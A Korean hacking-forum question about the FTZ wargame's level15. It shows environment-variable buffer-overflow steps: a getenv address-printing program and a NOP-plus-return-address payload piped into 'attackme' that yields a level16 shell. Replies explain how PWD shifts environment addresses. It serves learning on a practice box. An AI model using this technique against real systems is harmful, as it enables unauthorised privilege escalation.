시스템 해킹

 1576, 1/79 회원가입  로그인  
   tjdalstjr938
   환경변수를 이용한 BOF 공격시 의문점 질문입니다.

http://www.hackerschool.org/HS_Boards/zboard.php?AllArticle=true&no=1910 [복사]


[level15@ftz tmp]$export SCD=`python -c 'print "\xef\xbe\xad\xde"'`

#include <stdio.h>

main()
{
        printf("Address of SHELLCODE : 0x%x\n", getenv("SCD"));
}

[level15@ftz tmp]$ ./abc
Address of SHELLCODE : 0xbffffe87
[level15@ftz tmp]$ (python -c 'print "\x90"*40+"\x87\xfe\xff\xbf"';cat) | ../attackme

[level15@ftz tmp]$ (python -c 'print "\x90"*40+"\x7B\xfe\xff\xbf"';cat) | ../attackme
whoami
level16

getenv를 이용하여 나온 주소는 bffffe87 인데 실제 공격을 수행하려면 bffffe7b를 입력을 해줘야 공격이 수행 되더라고요.
환경변수를 이용하여서 문제를 풀때마다 공격시 이용하는 주소랑 getenv의 출력 값이랑 다르던데 이유랑 그 사이 값에는 어떤 값들이 들어가게 되는지 알려주실수 있으신가요? ㅠㅠ
  Hit : 3037     Date : 2018/01/02 04:12


    
gihacker 환경변수에 pwd 가 있는데 이 pwd 는 현제 디렉토리를 저장하고 있는 변수라 실행하는 위치가 다르면 환경변수도 다르게 실행되구요 다른 변수도 조금씩 바뀌는 경우가있어요 한번 찾아보세요 2018/01/02  
tjdalstjr938 찾아본 바로는 파일의 전체 이름의 길이가 같아야 되서 동일한 위치 와 이름 길이가 같아야 정확한 주소를 얻을수 있다고 나오는데 다른 위치에서 정확한 주소를 찾는 방법을 없을까요? 2018/01/02  
gihacker 흠 env 명령어로 무엇이 다른지 보고 채워주면 될것같네요 2018/01/02  
tjdalstjr938 답변 감사합니다. 덕분에 하나 알아갑니다. 2018/01/02  
gihacker 열공하세요~ 2018/01/02